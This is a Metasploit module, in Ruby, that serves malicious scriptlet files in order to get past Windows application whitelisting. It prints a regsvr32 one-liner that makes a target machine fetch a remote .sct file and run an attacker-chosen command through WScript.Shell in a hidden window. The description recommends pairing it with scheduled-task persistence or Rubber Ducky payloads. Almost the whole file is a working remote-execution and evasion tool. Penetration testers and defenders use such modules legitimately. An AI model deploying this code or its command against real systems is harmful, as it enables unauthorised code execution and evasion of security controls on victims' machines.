##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Regsvr32.exe (.sct) Command Delivery Server',
        'Description' => %q{
          This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
          a target system. The major advantage of this technique is that you can execute a static command on the target
          system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
          This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
          is needed through the use of a single command (e.g., as Rubber Ducky payload).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
          'Trenton Ivey', # MSF Module (kn0)
          'mubix',        # Auxiliary module idea
        ],
        'References' => [
          ['URL', 'http://web.archive.org/web/20170419145048/http://subt0x10.blogspot.com:80/2016/04/bypass-application-whitelisting-script.html']
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('CMD', [false, 'The command to execute', ''])
      ]
    )
  end

  def run
    exploit
  end

  def primer
    print_status("Run the following command on the target machine:")
    print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
  end

  def on_request_uri(cli, _request)
    print_status("Handling request from #{cli.peerhost}")
    data = gen_sct_file(datastore['CMD'])
    send_response(cli, data, 'Content-Type' => 'text/plain')
  end

  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end

  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end
end
